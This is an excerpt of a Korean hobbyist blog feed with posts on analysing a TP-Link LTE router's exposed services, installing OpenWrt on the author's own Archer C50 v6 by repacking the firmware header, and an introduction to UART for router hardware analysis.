&lt;p data-end=&quot;1670&quot; data-start=&quot;1519&quot; data-ke-size=&quot;size16&quot;&gt;외부 스캔에서 확인된 22, 80, 1900, 7547 포트는 각각 dropbear, httpd, upnpd, cwmp 프로세스와 연결되어 있었다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-end=&quot;1670&quot; data-start=&quot;1519&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;7. 마무리 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;4001&quot; data-start=&quot;3905&quot; data-ke-size=&quot;size16&quot;&gt;이번 글에서는 TP-Link TL-MR100을 분석해보았다. 처음에는 LTE 라우터의 공격 표면을 공부하기 위해 장비를 구입했지만 실제로 분석해보니 일반적인 공유기보다 훨씬 복잡한 구조를 가지고 있었다. 공격 표면도 정말 다양한 것 같다. 다음 분석에서는 각 공격표면을 하나씩 살펴볼 예정이다. 또한 이런 이동통신 기기에 들어가는 모뎀 속 베이스벤드도 분석해보고 싶다.&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;4001&quot; data-start=&quot;3905&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Embedded</category>
      <category>hardware hakcing</category>
      <category>mr 100</category>
      <category>tl mr 100</category>
      <category>tp link</category>
      <category>UART</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/34</guid>
      <comments>https://haehet.tistory.com/34#entry34comment</comments>
      <pubDate>Sun, 17 May 2026 10:05:36 +0900</pubDate>
    </item>
    <item>
      <title>TP-Link Archer C50 v6에 openwrt 설치하기</title>
      <link>https://haehet.tistory.com/33</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 TP-Link Archer C50에 openwrt를 설치해보는 과정을 서술하겠다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. openwrt란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;&amp;nbsp;OpenWrt(Open Wireless Router)는 공유기, 라우터, 임베디드 네트워크 장비 등에 설치할 수 있는 오픈소스 기반의 라우터 운영체제이다&lt;/b&gt;. 일반적인 공유기는 제조사가 제공하는 펌웨어를 그대로 사용해야 하지만 OpenWrt를 설치하면 사용자가 라우터 내부 시스템을 직접 확인하고 수정할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;227&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caUP6U/dJMcac39aBG/F5O0mkTnkY0MgX3ol0G7S1/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caUP6U/dJMcac39aBG/F5O0mkTnkY0MgX3ol0G7S1/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caUP6U/dJMcac39aBG/F5O0mkTnkY0MgX3ol0G7S1/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaUP6U%2FdJMcac39aBG%2FF5O0mkTnkY0MgX3ol0G7S1%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;821&quot; height=&quot;227&quot; data-origin-width=&quot;821&quot; data-origin-height=&quot;227&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. openwrt를 사용하는 이유&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;내가 갑자기 OpenWrt를 라우터에 올리려는 이유는 공유기 내부에 직접 접속해서 네트워크 구현을 분석해보기 위해서이다. 원래는 TP-Link 기본 펌웨어 상태에서 UART를 통해 라우터 내부에 접근하고 부팅 로그와 내부 프로세스를 확인하면서 분석을 진행하려고 했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;실제로 UART 연결 자체는 성공했지만, 핀헤더 납땜 및 연결 과정에서 RX 핀을 손상시켜 입력을 넣을 수 없는 상태가 되었다. UART 콘솔 출력은 어느 정도 확인할 수 있지만 명령어를 입력해서 root shell을 사용하는 것은 불가능해졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그래서 방향을 조금 바꿔 TP-Link 기본 펌웨어 대신 OpenWrt를 설치하고 SSH를 통해 라우터 내부에 접근하기로 했다. OpenWrt를 사용하면 라우터 내부의 네트워크 설정과 프로세스 구조를 직접 확인할 수 있기 때문에 네트워크 공부와 라우터 분석 실습용으로 충분히 의미가 있다고 판단했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. Openwrt 올리기&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;펌웨어 설정 &lt;/b&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 라우터에 올릴 펌웨어를 구해주자.&amp;nbsp; &lt;a href=&quot;https://firmware-selector.openwrt.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://firmware-selector.openwrt.org/&lt;/a&gt;에 접속을 하고 우리가 원하는 펌웨어를 다운로드 받아주자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2639&quot; data-origin-height=&quot;1542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B0qTi/dJMcahxEOQ6/wtvT662vk64IoLf8WdbRt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B0qTi/dJMcahxEOQ6/wtvT662vk64IoLf8WdbRt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B0qTi/dJMcahxEOQ6/wtvT662vk64IoLf8WdbRt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB0qTi%2FdJMcahxEOQ6%2FwtvT662vk64IoLf8WdbRt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2639&quot; height=&quot;1542&quot; data-origin-width=&quot;2639&quot; data-origin-height=&quot;1542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 factory 버전이 있어서 라우터에는 해당 버전을 그대로 다운로드 받아서 올려주면 된다. 하지만 나의 경우에는 예전 펌웨어 업그레이드 용인&amp;nbsp;&lt;b&gt;SYSUPGRADE&amp;nbsp;&lt;/b&gt;버전밖에 없었다. &lt;b&gt;그래서 이런 경우에는 직접 펌웨어를 가공해줘야한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2845&quot; data-origin-height=&quot;795&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Lu4a/dJMcahdltYI/LO0hMTg8hCfyFJR3IZCd90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Lu4a/dJMcahdltYI/LO0hMTg8hCfyFJR3IZCd90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Lu4a/dJMcahdltYI/LO0hMTg8hCfyFJR3IZCd90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Lu4a%2FdJMcahdltYI%2FLO0hMTg8hCfyFJR3IZCd90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2845&quot; height=&quot;795&quot; data-origin-width=&quot;2845&quot; data-origin-height=&quot;795&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 위와 같이 openwrt 펌웨어 이미지인 owrt.bin과 원래 tplink 공식 펌웨어인 tpl.bin (이름은 임의로 mv 명령어를 통해 바꾸었다.) 가져온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1587&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coMz79/dJMcahRU3Nl/eAbLrl2u0jCjVLnZG5CHWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coMz79/dJMcahRU3Nl/eAbLrl2u0jCjVLnZG5CHWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coMz79/dJMcahRU3Nl/eAbLrl2u0jCjVLnZG5CHWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoMz79%2FdJMcahRU3Nl%2FeAbLrl2u0jCjVLnZG5CHWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1587&quot; height=&quot;345&quot; data-origin-width=&quot;1587&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그 후 dd 명령어를 통해 Tplink 원래 펌웨어 앞부분에 있던 데이터를 boot.bin에 넣어준다.&amp;nbsp;&lt;/b&gt;(0x20200바이트만큼 이 수치는 라우터 종류마다 다를 수 있다. 공식 페이지를 참고하자.) 이 과정을 수행하는 이유는 TP-Link 기본 웹 UI가 아무 펌웨어 이미지나 받아들이지 않기 때문이다. TP-Link 웹 UI는 펌웨어 파일 앞부분에 있는 특정 벤더 헤더나 부트 관련 데이터를 기준으로 업그레이드 이미지를 검사한다.&amp;nbsp; 그 후 openwrt 펌웨와 합쳐줘서 라우터에 올릴 &lt;b&gt;boot.bin&lt;/b&gt;을 완성한다.&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;라우터 펌웨어 업로드&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본래 펌웨어의 관리자 페이지에 접속해준다. Windows terminal인 경우 &lt;b&gt;ipconfig&lt;/b&gt; 명령어를 입력해 주고&amp;nbsp;&lt;b&gt;기본 게이트웨이&lt;/b&gt;에 접속을 해주면 된다 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/doRfxL/dJMcaiQOLZX/2kLegayftt5j0qnj6flYy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/doRfxL/dJMcaiQOLZX/2kLegayftt5j0qnj6flYy0/img.png&quot; data-alt=&quot;현재 라우터의 기본 게이트웨이&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/doRfxL/dJMcaiQOLZX/2kLegayftt5j0qnj6flYy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdoRfxL%2FdJMcaiQOLZX%2F2kLegayftt5j0qnj6flYy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1273&quot; height=&quot;292&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;292&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;현재 라우터의 기본 게이트웨이&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2581&quot; data-origin-height=&quot;1544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQeynQ/dJMcacb1VU0/IRHop9HtHzwKxCMrvoZook/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQeynQ/dJMcacb1VU0/IRHop9HtHzwKxCMrvoZook/img.png&quot; data-alt=&quot;접속 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQeynQ/dJMcacb1VU0/IRHop9HtHzwKxCMrvoZook/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQeynQ%2FdJMcacb1VU0%2FIRHop9HtHzwKxCMrvoZook%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2581&quot; height=&quot;1544&quot; data-origin-width=&quot;2581&quot; data-origin-height=&quot;1544&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 펌웨어 업그레이드 페이지로 이동하고 제작한 펌웨어를 업로드해준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2846&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPyWQI/dJMcabqGflB/8MZissbKLGrzrunEk1Gff1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPyWQI/dJMcabqGflB/8MZissbKLGrzrunEk1Gff1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPyWQI/dJMcabqGflB/8MZissbKLGrzrunEk1Gff1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPyWQI%2FdJMcabqGflB%2F8MZissbKLGrzrunEk1Gff1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2846&quot; height=&quot;1118&quot; data-origin-width=&quot;2846&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 조금 기다려주고 ipconfig 명령어를 실행시 기본게이트웨이가&amp;nbsp;&lt;b&gt;192.168.1.1&lt;/b&gt;과 같이 변한 것을 확인 할 수있다. (랜선을 노트북에 연결하여 확인하는 것을 추천한다.)&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AjoHv/dJMcacC706V/0vGxMA5HYXfNb4Uvz43QGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AjoHv/dJMcacC706V/0vGxMA5HYXfNb4Uvz43QGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AjoHv/dJMcacC706V/0vGxMA5HYXfNb4Uvz43QGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAjoHv%2FdJMcacC706V%2F0vGxMA5HYXfNb4Uvz43QGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1508&quot; height=&quot;382&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 ssh를 통해 게이트웨이로 접속시 라우터 셸을 얻을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;701&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj6aBt/dJMcadvaHQQ/BFsUiMMhkCvkHJpJ7RRLAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj6aBt/dJMcadvaHQQ/BFsUiMMhkCvkHJpJ7RRLAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj6aBt/dJMcadvaHQQ/BFsUiMMhkCvkHJpJ7RRLAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj6aBt%2FdJMcadvaHQQ%2FBFsUiMMhkCvkHJpJ7RRLAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;701&quot; data-origin-width=&quot;1265&quot; data-origin-height=&quot;701&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; &lt;span&gt;4. 라우터를 무선으로 인터넷에 연결하기&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;OpenWrt 설치와 SSH 접속까지 성공했으니 이제 이 라우터를 실제 네트워크 실습용으로 사용하기 위해 인터넷에 연결해보자. 가장 단순한 방법은 집 공유기와 Archer C50을 랜선으로 연결하는 것이지만 내 경우에는 랜선 연결이 불편했기 때문에 Archer C50이 집 공유기의 Wi-Fi를 받아오도록 구성하기로 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 openwrt 라우터의 관리자 페이지에 접속 후&amp;nbsp;&lt;b&gt;wireless&amp;nbsp;&lt;/b&gt;부분에 들어간다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2559&quot; data-origin-height=&quot;1382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nn0DN/dJMb997rD93/TJF3tOAH9jgomKaHDGfBq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nn0DN/dJMb997rD93/TJF3tOAH9jgomKaHDGfBq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nn0DN/dJMb997rD93/TJF3tOAH9jgomKaHDGfBq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnn0DN%2FdJMb997rD93%2FTJF3tOAH9jgomKaHDGfBq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2559&quot; height=&quot;1382&quot; data-origin-width=&quot;2559&quot; data-origin-height=&quot;1382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 후 사용할 무선 장치를 선택 후 scan을 눌러준다. (나의 경우에는 radio1을 골랐다. &lt;b&gt;MediaTek MT7613BE 802.11ac/n&lt;/b&gt; 5GHz)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음에 내가 사용중인 라우터를 누르고 ssid, passwd등을 입력해주면 다음과 같이 인터넷 접속이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1751&quot; data-origin-height=&quot;517&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQSkM0/dJMcaiQOMP3/7ARnTNAI3LhRpWNAfqLFg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQSkM0/dJMcaiQOMP3/7ARnTNAI3LhRpWNAfqLFg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQSkM0/dJMcaiQOMP3/7ARnTNAI3LhRpWNAfqLFg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQSkM0%2FdJMcaiQOMP3%2F7ARnTNAI3LhRpWNAfqLFg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1751&quot; height=&quot;517&quot; data-origin-width=&quot;1751&quot; data-origin-height=&quot;517&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 마무리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 집에 &lt;span&gt;남아있던 TP-Link Archer C50 v6에 OpenWrt를 설치하고 이를 네트워크 실습용 라우터로 구성하는 과정을 정리했다. 다음 글에서는 이 라우터를 활용해서 직접 네트워크 패킷을 분석하거나 혹은 네트워크 구현이나 라우터 구현 등을 다뤄보겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://firmware-selector.openwrt.org/?version=25.12.3&amp;amp;target=ramips%2Fmt76x8&amp;amp;id=tplink_archer-c50-v6&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://firmware-selector.openwrt.org/?version=25.12.3&amp;amp;target=ramips%2Fmt76x8&amp;amp;id=tplink_archer-c50-v6&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://openwrt.org/toh/tp-link/archer-c50&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://openwrt.org/toh/tp-link/archer-c50&lt;/a&gt;&lt;/p&gt;</description>
      <category>Network</category>
      <category>openwrt</category>
      <category>Router</category>
      <category>공유기</category>
      <category>라우터</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/33</guid>
      <comments>https://haehet.tistory.com/33#entry33comment</comments>
      <pubDate>Wed, 13 May 2026 22:43:34 +0900</pubDate>
    </item>
    <item>
      <title>UART: A First Step into Router Hardware Analysis</title>
      <link>https://haehet.tistory.com/32</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;최근 라우터 분석을 진행하면서 단순히 펌웨어를 풀고 바이너리를 정적 분석하는 것만으로는 한계가 있다는 생각이 들었다. (특히 하드웨어 의존적인 기능이 존재하는 LTE 라우터 등..)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;따라서 이번 글에서는 동적 분석을 하기 위해 UART가 무엇인지부터&amp;nbsp; 라우터 기판에서 UART 핀을 찾는 방법, 멀티미터로 핀을 구분하는 과정, 핀헤더 납땜, USB-UART 어댑터 연결, 그리고 serial console을 통해 부팅 로그를 확인하는 전체 흐름을 정리해보겠다. (실습은 지인에게 받은 TP link Archer C50으로 진행한다.)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 직렬 통신과 병렬 통신&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;896&quot; data-start=&quot;803&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;장치끼리 데이터를 주고받으려면 서로 같은 통신 방식을 사용해야 한다. 이때 데이터를 전송하는 방식은 크게 &lt;b&gt;병렬 통신(Parallel)&lt;/b&gt;과 &lt;b&gt;직렬 통신(Serial)&lt;/b&gt;으로 나눌 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;1036&quot; data-start=&quot;898&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;병렬 통신은 여러 개의 선을 사용해서 여러 비트를 동시에 전송하는 방식이다. 예를 들어 8비트 데이터를 한 번에 보내려면 8개의 데이터 라인이 필요하다. 한 번에 많은 데이터를 보낼 수 있으므로 빠르다는 장점이 있지만 그만큼 많은 핀이 필요하다.&lt;/p&gt;
